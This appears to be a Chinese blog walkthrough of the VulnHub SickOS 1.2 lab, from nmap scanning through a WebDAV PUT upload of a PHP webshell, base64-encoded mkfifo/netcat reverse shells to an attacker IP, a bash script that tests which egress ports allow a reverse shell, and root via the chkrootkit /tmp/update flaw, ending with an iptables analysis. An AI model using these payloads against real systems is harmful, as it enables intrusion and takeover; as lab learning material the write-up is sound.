首页 > 系统相关 >vulnhub(9):sickos1.2(深挖靶机的各个细节、文件管道反弹shell详解、base64编码反弹shell利用、shell脚本扫描防火墙、防火墙规则解析、密集小tips)

vulnhub(9):sickos1.2(深挖靶机的各个细节、文件管道反弹shell详解、base64编码反弹shell利用、shell脚本扫描防火墙、防火墙规则解析、密集小tips)

时间:2024-09-18 16:52:58浏览次数:13  
标签:tmp shell base64 端口 防火墙 192.168 echo tcp

端口

nmap主机发现
nmap -sn 192.168.148.0/24
​
Nmap scan report for 192.168.148.131
Host is up (0.00020s latency).
​
131是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.148.131 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 
发现开放2个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.148.131详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
MAC Address: 00:0C:29:87:23:A4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
​
​
分析:
主要打80端口

立足

80端口
查看网站页面在,只有一张图片,查看robots.txt,404notfound
现在目录扫描:gobuster dir -u http://192.168.148.131/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash
​
发现目录:
/test/                (Status: 200) [Size: 2454]
http://192.168.148.131/test:发现目录为空
​
查看此目录支持的操作:
curl -X OPTIONS -s http://192.168.148.131/test -v
*   Trying 192.168.148.131:80...
* Connected to 192.168.148.131 (192.168.148.131) port 80
> OPTIONS /test HTTP/1.1
> Host: 192.168.148.131
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.148.131/test/
< Content-Length: 0
< Date: Wed, 18 Sep 2024 15:13:52 GMT
< Server: lighttpd/1.4.28
< 
* Connection #0 to host 192.168.148.131 left intact
​
发现有PUT命令,可以写入文件,直接文件上传一个php一句话木马:
curl -v -X PUT -d '<?php system($_GET["a"]);?>' http://192.168.148.131/test/1.php
输入命令id发现php被服务解析

文件管道反弹shell的利用
这种情况下,从web参数中使用反弹shell,需要我们构造的反弹shell命令能被服务正确解析,然而我尝试了很多的反弹shell,都解析失败了,具体原因不清除,但我猜测是各种双引号单引号截断和转义的原因,因此我将反弹shell命令使用base64编码并执行
​
这里是我使用的反弹shell,我会介绍这个反弹shell的执行过程
mkfifo /tmp/f;nc 192.168.148.47 1234 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f
​
​
解析:
1.创建了个文件管道
2.0</tmp/f:0表示标准输入,就是将/tmp/f的内容作为标准输入,传递给netcat作为网络传输,就是netcat将执行命令的结果返回给攻击机器
3.| /bin/sh:这个命令是将netcat的输出传给到/bin/sh,让其执行,netcat的输出就是攻击机器输入的命令
4.> /tmp/f 2>&1:这个命令是将/bin/sh执行的结果(标准输出)重定向到/tmp/f文件,2>&1表示标准错误输出也向标准输出那样处理,重定向到/tmp/f文件
​
总结:在反弹shell里,netcat的输出就是攻击机器发过来的命令,netcat输入就是存放在/tmp/f下命令执行的结果,数据流执行如下:
1.攻击机器发送命令给netcat
2.netcat的输出作为/bin/sh输入
3./bin/sh的输入当作命令执行,执行结果作为/tmp/f的输入,输入到文件/tmp/f中
4./tmp/f的输出作为netcat的输入,netcat的输入(命令执行结果)传给攻击机器
​
这里我直接base64编码来使用这个反弹shell
echo "mkfifo /tmp/f;nc 192.168.148.47 1234 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f" | base64 | tr -d '\n'
bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=
​
将以下命令传递给a参数执行反弹shell
echo "bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=" | base64 -d | bash
​
执行没有成功
执行未成功原因
http://192.168.148.131/test/1.php?a=echo%20%22bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=%22%20|%20base64%20-d
​
我来查看原因,先看看靶机把base64解析成什么:
访问http://192.168.148.131/test/1.php?a=echo%20%22bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDA8L3RtcC9mIHwgL2Jpbi9zaCA+IC90bXAvZiAyPiYxO3JtIC90bXAvZgo=%22%20
得到

可以看到靶机的base64有问题,解码的字符串不是"mkfifo /tmp/f;nc 192.168.148.47 1234 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f",不过非常容易解决,只需要少个空格就能解决成功,在不改变原本语法少几个空格或多个空格多试几次,如下:
echo "mkfifo /tmp/f;nc 192.168.148.47 1234 0 < /tmp/f|/bin/sh> /tmp/f 2>&1;rm /tmp/f" | base64 | tr -d '\n' 
bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjE0OC40NyAxMjM0IDAgPCAvdG1wL2Z8L2Jpbi9zaD4gL3RtcC9mIDI+JjE7cm0gL3RtcC9mCg== 
就能解析成功
还有一种方法上传反弹shell:
curl -v -X PUT -d '<?php system("mkfifo /tmp/f; nc 192.168.148.47 443 0</tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f");?>' http://192.168.148.131/test/f.php
​
能直接执行成功
防火墙
但是base64解析成功了仍然没有成功,说明可能有防火墙的阻拦,我们可以尝试几个常用端口,或者使用shell脚本进行扫描查看
一般来说反弹shell是能轻松绕过防火墙的,因为反弹shell是靶机主动发起的连接,阻止反弹shell连接,需要管理员对本地连接远程的端口做限制,具体等提权的时候会详细说,我们先尝试其他端口监听反弹shell
​
最后发现攻击机器监听443端口可以成功获取反弹shell:
"mkfifo /tmp/f;nc 192.168.148.47 443 0 < /tmp/f|/bin/sh> /tmp/f 2>&1;rm /tmp/f"
记得base64编码,然后将解码执行的命令传递给参数a,我们就能获取反弹shell
shell脚本扫描可利用的反弹shell
下面是我编写的反弹shell连接脚本,通过此脚本,我们可以测试出哪个端口可以使用反弹shell连接攻击机器。
它的实现原理就是让靶机执行连接不同端口的反弹shell命令,如果攻击机器监听的端口有响应说明,反弹shell可以使用此端口,脚本如下:
#!/bin/bash
​
# 靶机ip
target_ip="192.168.148.131"
# 攻击者ip
callback_ip="192.168.148.47"
​
# 攻击者机器的临时监听文件
output_file="/tmp/nc_output"
​
​
for port in $(seq 8078 65535);do
​
        echo "[*] Scanning ${port}"
        if [ -f "$output_file" ]; then
                echo "[*] $output_file exists, Deleting it..."
                echo "" >  "$output_file"
        else
                echo "[*] $output_file does not exist."
        fi
​
        touch "$output_file"; nc -nvlp ${port} > "$output_file" 2>&1 &
        nc_pid=$!
        echo "[*] nc_pid is $nc_pid"
        sleep 1
​
        reverse_shell="nc ${callback_ip} ${port}"
        encoded_shell=$(echo "$reverse_shell" | base64 | tr -d '\n')
        request_url="http://${target_ip}/test/1.php?a=echo%20%22${encoded_shell}%22%20|%20base64%20-d%20|%20bash"
​
        echo "[*] Sending request to ${request_url}"
        curl --max-time 1 -s "${request_url}"
        result=$(cat "$output_file" | grep connect)
​
        # echo "$result"
​
        if [ "$result" != "" ]; then
                echo "[!] This port ${port} can reach."
        else
                echo "[*] This port ${port} can not reach."
        fi
​
        # if grep -q "connect" "$output_file"; then
        #       echo "[*] The port can reach"
        # fi
        sleep 1
        nc_process=$(ps aux | grep "$nc_pid")
​
        if [ "$nc_process" != "" ]; then
                echo "[*] The ${nc_pid} is running, kill it."
                kill "$nc_pid"
        fi
        echo -e "\n\n"
done
        echo "[*] Port scanning and reverse shell requests completed."

使用此脚本可以扫描出来攻击机器可以监听的端口,我们可以看到443端口和8080端口可以使用反弹shell

tips:
针对这台靶机,此脚本可能利用不成功的原因,如下:
1.靶机base64解码有问题,需要手动尝试base64解码结果
2.靶机部署的服务过于轻量级,发送几个包80端口就直接崩掉
​
但是,这2点都是靶机的问题,脚本没有任何问题,因此有一定的实战意义

提权

信息收集:
sudo -l:没有权限
cat /etc/crontab:没有任何计划任务
find / -perm -u=s -type f 2>/dev/null:没有可利用的suid文件
内核漏洞searchsploit,没有适合的漏洞利用
敏感信息收集:发现用户很少,私人信息也很少,不可利用
​
但是linux仍然可能存在提权漏洞,我们需要使用工具linpeas扫描
这就是我们扫描防火墙的优势,因为我们可以请求攻击机器8080端口获取linpeas.sh脚本
​
攻击机器:python3 -m http.server 8080
靶机:wget http://192.168.148.47:8080/linpeas.sh
​
执行./linpeas.sh,我们将获取到足够多的信息,以及足够多的漏洞,其中这样的一个漏洞引人注目:
​
[+] [CVE-2014-0476] chkrootkit
   Details: http://seclists.org/oss-sec/2014/q2/430
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/33899
   Comments: Rooting depends on the crontab (up to one day of delay)
   
它不是内核漏洞,但需要依赖crontab
我们进入它的利用文章查看即可
exp是个txt文件,以下是对exp的翻译:
如果 $file_port 为空,则由于变量赋值周围缺少引号,因此行 'file_port=$file_port $i' 将在 chkrootkit 运行时(通常是 root)执行 $SLAPPER_FILES 中指定的所有文件。
​
重现步骤:
​
- 将名为 'update' 的可执行文件放入 /tmp 中,该文件的所有者为非 root(显然不是挂载的 noexec)
- 运行 chkrootkit(作为 uid 0)
​
结果:如果文件中放置了恶意内容,则文件 /tmp/update 将以 root 身份执行,从而有效地 root 您的机器。
​
如果攻击者知道您正在定期运行 chkrootkit(例如在 cron.daily 中)并且对 /tmp 具有写访问权限(不是挂载的 noexec),他可能会轻松利用这一点。
我们按照它的说法:
1.以任意用户新建/tmp/update文件
2.将root权限的反弹shell写入/tmp/update
3.给他可执行权限:chmod +x /tmp/update
​
靶机:echo "mkfifo /tmp/f;nc 192.168.148.47 8080 0</tmp/f | /bin/sh > /tmp/f 2>&1;rm /tmp/f" >/tmp/update
攻击机:nc -nvlp 8080 
​
过一段时间获取root权限
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
​

防火墙分析

之前www-data,也就是打点进来的用户是没有权限查看iptables的,现在我们是root权限,可以查看防火墙规则,现在我将详细解释管理员是如何设置iptables的
​
iptables -L
结果如下:
Chain INPUT (policy DROP)0
target     prot opt source               destination         
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http
ACCEPT     tcp  --  anywhere             anywhere             tcp spt:http-alt
ACCEPT     tcp  --  anywhere             anywhere             tcp spt:https
​
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
​
Chain OUTPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     tcp  --  anywhere             anywhere             tcp spt:ssh
ACCEPT     tcp  --  anywhere             anywhere             tcp spt:http
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http-alt
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:https
​
INPUT规则解析
允许出网时要满足的条件(源端口spt为本地端口,目标端口dpt为远程端口)(满足其中一条即可):
1.允许本地端口22,80出网,远程端口任意
2.允许远程端口8080、443出网,本地端口任意
​
OUTPUT规则解析
允许入网时要满足的条件(源端口spt为远程端口,目标端口dpt为本地端口)(满足其中一条即可):
1.允许本地端口为80,22入网,远程端口任意
2.允许远程端口是443、8080入网,本地端口任意
​
综上:
完整通信的满足条件(满足一条就可):
1.本地端口为22,80,可以完整通信
2.远程端口为443,8080,可以完整通信
​
反弹shell:
靶机开启一个随机的本地端口,连接远程攻击机器的端口,我们只需要攻击机监听443或、8080端口,满足完整通信的条件2就可以使用反弹shell了
​
为什么大多情况要使用反弹shell,因为反弹shell是靶机主动发起的连接,要限制反弹shell,管理员就必须限制连接过来的端口号,而大多数情况下,连接过来的端口都是随机的,管理员也不好限制,因为一旦限制就损坏了服务的可用性

标签:tmp,shell,base64,端口,防火墙,192.168,echo,tcp
From: https://blog.csdn.net/anddddoooo/article/details/142337797

相关文章

  • linux shell批量主机远程执行命令脚本
    基于expect命令实现1.安装expect[root@logstash~]#yuminstall-yexpectLoadedplugins:fastestmirrorLoadingmirrorspeedsfromcachedhostfile*base:mirrors.aliyun.com*extras:mirrors.aliyun.com*updates:mirrors.aliyun.comPackageexpect-5.45-14.el7_......
  • linux shell批量创建用户并设置密码脚本
    useradd.sh#!/bin/bashuser_file=/root/user.txtforuserin$(cat$user_file)doif!id$user&>/dev/null;thenpass=$(echo$RANDOM|md5sum|cut-c1-8)useradd$userecho$pass|passwd--stdin$user&>/dev/nullecho"$u......
  • 【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS
    前言博客主页:h0ack1r丶羽~从0到1~渗透测试中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,本文主要讲解了【靶机能上TCP和不能上TCP的......
  • 操作系统名词_文件下载_反弹shell_1
    目录名词解释Poc、EXP、Payload与shellcode后门木马、病毒黑白盒测试社会工程学、撞库ATT&CK应用实例实用案例1:文件上传下载-解决无图形化&解决数据传输实用案例2:反弹shell命令-解决数据回显&解决数据通讯结合案例1:防火墙绕过-正向连接&反向连接&内网服务器 #结......
  • 【Linux进程】Linux Shell编程实战:构建简易脚本示例与技巧详解
    ......
  • linux-shell -cat命令使用
    Linuxcat命令详解cat命令是linux下的一个文本输出命令,通常是用于观看某个文件的内容的;cat主要有三大功能:1.一次显示整个文件。$cat  filename2.从键盘创建一个文件。$cat > filename只能创建新文件,不能编辑已有文件.3.将几个文件合并为一个文件。$cat  ......
  • Shell脚本——menu菜单(read、while、case的使用)
    ################################################################################Shell脚本提高工作效率;#Shell脚本定义功能函数;#Shell脚本定义功能分支过多,通过相对路径调用功能Shell脚本,另起炉灶。#Shell脚本通过外部交互输入变量值,例如:read-p"变量含义文本信息:"......
  • Java 中图片转换为 Base64
    importjava.io.File;importjava.io.FileInputStream;importjava.io.IOException;importjava.util.Base64;publicclassImageToBase64Converter{publicstaticvoidmain(String[]args){//指定要转换的图片路径StringimagePath="path......
  • CentOS7永久关闭防火墙和SELinux
    目录一.查看防火墙的状态命令(1)systemctlstatusfirewalld      查看当前的防火墙状态 二.暂时/永久关闭防火墙命令(1)systemctl stopfirewalld        暂时关闭防火墙(2)systemctl disable firewalld        永久关闭防火墙 (需要重......
  • 【webshell 检测工具】ShellSweep:一种 PowerShell/Python/Lua 工具,用于检测指定目录下
    原创Ots安全“ShellSweep”是一个PowerShell/Python/Lua工具,旨在检测指定目录中的潜在WebShell文件。ShellSheep及其工具套件会计算文件内容的熵,以估计文件成为WebShell的可能性。熵值越高,随机性就越强,这是WebShell中常见的加密或混淆代码的特征。它仅处理具有某些......